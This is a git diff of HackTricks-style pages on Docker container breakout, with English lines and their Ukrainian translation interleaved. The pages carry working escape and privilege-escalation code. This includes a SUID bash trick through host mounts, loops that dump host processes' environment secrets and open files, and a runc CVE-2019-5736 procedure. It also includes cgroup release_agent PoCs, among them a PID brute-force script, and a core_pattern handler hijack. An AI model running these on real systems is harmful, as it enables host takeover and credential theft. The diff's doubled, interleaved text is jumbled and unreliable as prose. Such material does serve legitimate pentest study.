- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
However, you can find **other sensitive files** to check for in this page:
Однак ви можете знайти **інші чутливі файли**, які слід перевірити на цій сторінці:
{{#ref}}
sensitive-mounts.md
{{#endref}}
### Arbitrary Mounts
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys…
### Произвольні Монтування
В кількох випадках ви виявите, що **контейнер має деякий об'єм, змонтований з хоста**. Якщо цей об'єм не був правильно налаштований, ви можете мати можливість **доступу/зміни чутливих даних**: Читати секрети, змінювати ssh authorized_keys…
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Підвищення привілеїв з 2 оболонками та монтуванням хоста
### Privilege Escalation with 2 shells and host mount
If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.
Якщо у вас є доступ як **root всередині контейнера**, який має деяку папку з хоста, що змонтована, і ви **втекли як неприprivileged користувач до хоста** та маєте доступ для читання до змонтованої папки.\
Ви можете створити **bash suid файл** у **змонтованій папці** всередині **контейнера** та **виконати його з хоста** для підвищення привілеїв.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Підвищення привілеїв з 2 оболонками
### Privilege Escalation with 2 shells
Якщо у вас є доступ як **root всередині контейнера** і ви **втекли як неприваблений користувач на хост**, ви можете зловживати обома оболонками для **підвищення привілеїв всередині хоста**, якщо у вас є можливість MKNOD всередині контейнера (це за замовчуванням) як [**пояснено в цьому пості**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
З такою можливістю користувач root всередині контейнера може **створювати файли блочного пристрою**. Файли пристроїв - це спеціальні файли, які використовуються для **доступу до базового апаратного забезпечення та модулів ядра**. Наприклад, файл блочного пристрою /dev/sda надає доступ до **читання сирих даних на диску системи**.
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container.
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
Docker захищає від зловживання файлами блочного пристрою всередині контейнерів, застосовуючи політику cgroup, яка **блокує операції читання/запису блочних пристроїв**. Проте, якщо файл блочного пристрою **створено всередині контейнера**, він стає доступним ззовні контейнера через директорію **/proc/PID/root/**. Цей доступ вимагає, щоб **власник процесу був однаковим** як всередині, так і зовні контейнера.
**Приклад експлуатації** з цього [**опису**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
Якщо ви можете отримати доступ до процесів хоста, ви зможете отримати доступ до великої кількості чутливої інформації, що зберігається в цих процесах. Запустіть тестову лабораторію:
```
docker run --rm -it --pid=host ubuntu bash
```
Наприклад, ви зможете перерахувати процеси, використовуючи щось на кшталт `ps auxn` і шукати чутливі дані в командах.
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
Тоді, оскільки ви можете **доступитися до кожного процесу хоста в /proc/ ви просто можете вкрасти їхні секрети середовища**, запустивши:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
You can also **access other processes file descriptors and read their open files**:
Ви також можете **отримати доступ до дескрипторів файлів інших процесів і читати їх відкриті файли**:
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
You can also **kill processes and cause a DoS**.
Ви також можете **вбивати процеси і викликати DoS**.
> [!WARNING]
> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target <pid> --all` or `nsenter --target <pid> --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.**
> Якщо у вас якимось чином є привілейований **доступ до процесу поза контейнером**, ви можете запустити щось на зразок `nsenter --target <pid> --all` або `nsenter --target <pid> --mount --net --pid --cgroup`, щоб **запустити оболонку з тими ж обмеженнями ns** (сподіваємось, жодними) **як у цього процесу.**
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
Якщо контейнер був налаштований з Docker [драйвером мережевого хосту (`--network=host`)](https://docs.docker.com/network/host/), стек мережі цього контейнера не ізольований від Docker хосту (контейнер ділить простір імен мережі хосту), і контейнер не отримує свою власну IP-адресу. Іншими словами, **контейнер прив'язує всі сервіси безпосередньо до IP-адреси хосту**. Крім того, контейнер може **перехоплювати ВСІ мережеві дані, які хост** надсилає та отримує на спільному інтерфейсі `tcpdump -i eth0`.
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
Наприклад, ви можете використовувати це для **перехоплення та навіть підробки трафіку** між хостом і екземпляром метаданих.
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
Like in the following examples:
Як у наступних прикладах:
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access).
Ви також зможете отримати доступ до **мережевих сервісів, прив'язаних до localhost** всередині хосту або навіть отримати доступ до **дозволів метаданих вузла** (які можуть відрізнятися від тих, до яких може отримати доступ контейнер).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
З `hostIPC=true` ви отримуєте доступ до ресурсів міжпроцесного спілкування (IPC) хоста, таких як **спільна пам'ять** у `/dev/shm`. Це дозволяє читати/писати, де ті ж ресурси IPC використовуються іншими процесами хоста або пода. Використовуйте `ipcs`, щоб детальніше перевірити ці механізми IPC.
With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further.
- **Перевірте /dev/shm** - Шукайте будь-які файли в цьому місці спільної пам'яті: `ls -la /dev/shm`
- **Перевірте існуючі засоби IPC** – Ви можете перевірити, чи використовуються якісь засоби IPC за допомогою `/usr/bin/ipcs`. Перевірте це за допомогою: `ipcs -a`
- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
- **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
### Recover capabilities
If the syscall **`unshare`** is not forbidden you can recover all the capabilities running:
### Відновлення можливостей
Якщо системний виклик **`unshare`** не заборонений, ви можете відновити всі можливості, запустивши:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
### Зловживання простором імен користувача через symlink
### User namespace abuse via symlink
Друга техніка, описана в пості [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/), вказує, як можна зловживати прив'язками з просторами імен користувача, щоб впливати на файли всередині хоста (в цьому конкретному випадку, видаляти файли).
The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
## CVE
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
### Вразливість Runc (CVE-2019-5736)
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
У випадку, якщо ви можете виконати `docker exec` як root (ймовірно, з sudo), ви намагаєтеся підвищити привілеї, втікаючи з контейнера, зловживаючи CVE-2019-5736 (експлойт [тут](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Ця техніка в основному **перезаписує** бінарний файл _**/bin/sh**_ **хоста** **з контейнера**, тому будь-хто, хто виконує docker exec, може активувати payload.
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## CVEs
### Runc exploit (CVE-2019-5736)
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
Змініть payload відповідно і зберіть main.go за допомогою `go build main.go`. Отриманий бінарний файл слід помістити в контейнер Docker для виконання.\
Після виконання, як тільки з'явиться повідомлення `[+] Overwritten /bin/sh successfully`, вам потрібно виконати наступне з хост-машини:
`docker exec -it <container-name> /bin/sh`
This will trigger the payload which is present in the main.go file.
Це активує payload, який присутній у файлі main.go.
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
Для отримання додаткової інформації: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
> [!NOTE]
> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
> Існують інші CVE, до яких контейнер може бути вразливим, ви можете знайти список за адресою [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
## Docker Custom Escape
## Спеціальне втеча Docker
### Docker Escape Surface
### Поверхня втечі Docker
- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs).
- **Root user**: By default the user running the process is the root user (however its privileges are limited).
- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape.
- **Простори імен:** Процес повинен бути **повністю відокремлений від інших процесів** через простори імен, тому ми не можемо втекти, взаємодіючи з іншими процесами через простори імен (за замовчуванням не можуть спілкуватися через IPC, unix-сокети, мережеві сервіси, D-Bus, `/proc` інших процесів).
- **Користувач root**: За замовчуванням користувач, що виконує процес, є користувачем root (однак його привілеї обмежені).
- **Можливості**: Docker залишає такі можливості: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Системні виклики**: Це системні виклики, які **користувач root не зможе викликати** (через відсутність можливостей + Seccomp). Інші системні виклики можуть бути використані для спроби втечі.
{{#tabs}}
{{#tab name="x64 syscalls"}}
```yaml
0x067 -- syslog
0x070 -- setsid
@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x140 -- kexec_file_load
0x141 -- bpf
```
{{#endtab}}
{{#tab name="arm64 syscalls"}}
```
0x029 -- pivot_root
0x059 -- acct
@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x111 -- finit_module
0x118 -- bpf
```
{{#endtab}}
{{#tab name="syscall_bf.c"}}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```
````
{{#endtab}}
@ -633,12 +574,12 @@ int main()
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
- Find the **path of the containers filesystem** inside the host
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- Have **enough capabilities and disabled protections** to be able to abuse that functionality
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
## References
@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
- [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
{{#include ../../../../banners/hacktricks-training.md}}

44
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
View File

@ -2,10 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
**Для отримання додаткової інформації зверніться до** [**оригінального блогу**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Це лише резюме:
Original PoC:
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Доказ концепції (PoC) демонструє метод експлуатації cgroups шляхом створення файлу `release_agent` і виклику його для виконання довільних команд на хості контейнера. Ось розбивка кроків, що входять до процесу:
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
1. **Prepare the Environment:**
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
1. **Підготовка середовища:**
- Директорія `/tmp/cgrp` створюється як точка монтування для cgroup.
- Контролер cgroup RDMA монтується в цю директорію. У разі відсутності контролера RDMA рекомендується використовувати контролер cgroup `memory` як альтернативу.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Set Up the Child Cgroup:**
- A child cgroup named "x" is created within the mounted cgroup directory.
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
2. **Налаштуйте дочірній cgroup:**
- Дочірній cgroup з назвою "x" створюється в змонтованій директорії cgroup.
- Сповіщення увімкнені для cgroup "x" шляхом запису 1 у його файл notify_on_release.
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Configure the Release Agent:**
- The path of the container on the host is obtained from the /etc/mtab file.
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
3. **Налаштуйте Release Agent:**
- Шлях контейнера на хості отримується з файлу /etc/mtab.
- Файл release_agent cgroup потім налаштовується для виконання скрипту з назвою /cmd, розташованого за отриманим шляхом хоста.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Create and Configure the /cmd Script:**
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
4. **Створіть і налаштуйте скрипт /cmd:**
- Скрипт /cmd створюється всередині контейнера і налаштовується для виконання ps aux, перенаправляючи вихідні дані у файл з назвою /output в контейнері. Повний шлях до /output на хості вказується.
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Trigger the Attack:**
- A process is initiated within the "x" child cgroup and is immediately terminated.
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
5. **Запустіть атаку:**
- Процес ініціюється в "x" дочірньому cgroup і відразу ж завершується.
- Це викликає `release_agent` (скрипт /cmd), який виконує ps aux на хості та записує вихідні дані в /output всередині контейнера.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
{{#include ../../../../banners/hacktricks-training.md}}

58
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md
View File

@ -1,27 +1,26 @@
{{#include ../../../../banners/hacktricks-training.md}}
For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
Для отримання додаткової інформації **перегляньте блог за посиланням [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Це лише резюме:
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.
Техніка описує метод **виконання коду хоста зсередини контейнера**, подолання труднощів, викликаних конфігураціями драйвера зберігання, які приховують шлях файлової системи контейнера на хості, такими як Kata Containers або специфічні налаштування `devicemapper`.
Key steps:
Ключові кроки:
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.
1. **Знаходження ідентифікаторів процесів (PID):** Використовуючи символічне посилання `/proc/<pid>/root` у псевдо-файловій системі Linux, будь-який файл всередині контейнера може бути доступний відносно файлової системи хоста. Це обминає необхідність знати шлях файлової системи контейнера на хості.
2. **PID Bashing:** Використовується метод грубої сили для пошуку PID на хості. Це робиться шляхом послідовної перевірки наявності конкретного файлу за адресою `/proc/<pid>/root/<file>`. Коли файл знаходиться, це вказує на те, що відповідний PID належить процесу, що виконується всередині цільового контейнера.
3. **Запуск виконання:** Вгаданий шлях PID записується у файл `cgroups release_agent`. Ця дія запускає виконання `release_agent`. Успіх цього кроку підтверджується перевіркою наявності вихідного файлу.
### Exploitation Process
### Процес експлуатації
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
Процес експлуатації включає більш детальний набір дій, спрямованих на виконання корисного навантаження на хості шляхом вгадування правильного PID процесу, що виконується всередині контейнера. Ось як це відбувається:
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.
PoC from the blog post:
1. **Ініціалізація середовища:** Скрипт корисного навантаження (`payload.sh`) готується на хості, і створюється унікальний каталог для маніпуляцій з cgroup.
2. **Підготовка корисного навантаження:** Скрипт корисного навантаження, який містить команди для виконання на хості, записується та робиться виконуваним.
3. **Налаштування cgroup:** Cgroup монтується та налаштовується. Прапорець `notify_on_release` встановлюється, щоб забезпечити виконання корисного навантаження при звільненні cgroup.
4. **Груба сила PID:** Цикл проходить через потенційні PID, записуючи кожен вгаданий PID у файл `release_agent`. Це ефективно встановлює скрипт корисного навантаження як `release_agent`.
5. **Запуск та перевірка виконання:** Для кожного PID записується `cgroup.procs` cgroup, запускаючи виконання `release_agent`, якщо PID правильний. Цикл триває, поки не буде знайдено вихід скрипта корисного навантаження, що вказує на успішне виконання.
PoC з блогу:
```bash
#!/bin/sh
@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -81,5 +80,4 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{{#include ../../../../banners/hacktricks-training.md}}

176
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
View File

@ -1,182 +1,174 @@
# Sensitive Mounts
# Чутливі монтування
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
Відкриття `/proc` та `/sys` без належної ізоляції простору імен створює значні ризики безпеки, включаючи збільшення поверхні атаки та розкриття інформації. Ці каталоги містять чутливі файли, які, якщо неправильно налаштовані або доступні несанкціонованому користувачу, можуть призвести до втечі з контейнера, модифікації хоста або надати інформацію, що сприяє подальшим атакам. Наприклад, неправильне монтування `-v /proc:/host/proc` може обійти захист AppArmor через його шляхову природу, залишаючи `/host/proc` незахищеним.
{% embed url="https://websec.nl/" %}
**Додаткові деталі про кожну потенційну уразливість можна знайти в** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## procfs Vulnerabilities
## Уразливості procfs
### `/proc/sys`
This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern:
Цей каталог дозволяє доступ для зміни змінних ядра, зазвичай через `sysctl(2)`, і містить кілька підкаталогів, які викликають занепокоєння:
#### **`/proc/sys/kernel/core_pattern`**
- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`.
- **Testing and Exploitation Example**:
- Описано в [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Дозволяє визначити програму для виконання при генерації файлу ядра з першими 128 байтами як аргументами. Це може призвести до виконання коду, якщо файл починається з каналу `|`.
- **Приклад тестування та експлуатації**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Тест доступу на запис
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Встановити власний обробник
sleep 5 && ./crash & # Викликати обробник
```
#### **`/proc/sys/kernel/modprobe`**
- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Contains the path to the kernel module loader, invoked for loading kernel modules.
- **Checking Access Example**:
- Детально описано в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Містить шлях до завантажувача модулів ядра, який викликається для завантаження модулів ядра.
- **Приклад перевірки доступу**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
```
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Перевірити доступ до modprobe
```
#### **`/proc/sys/vm/panic_on_oom`**
- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs.
- Згадано в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Глобальний прапор, який контролює, чи панікує ядро або викликає OOM-убивцю, коли виникає умова OOM.
#### **`/proc/sys/fs`**
- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system.
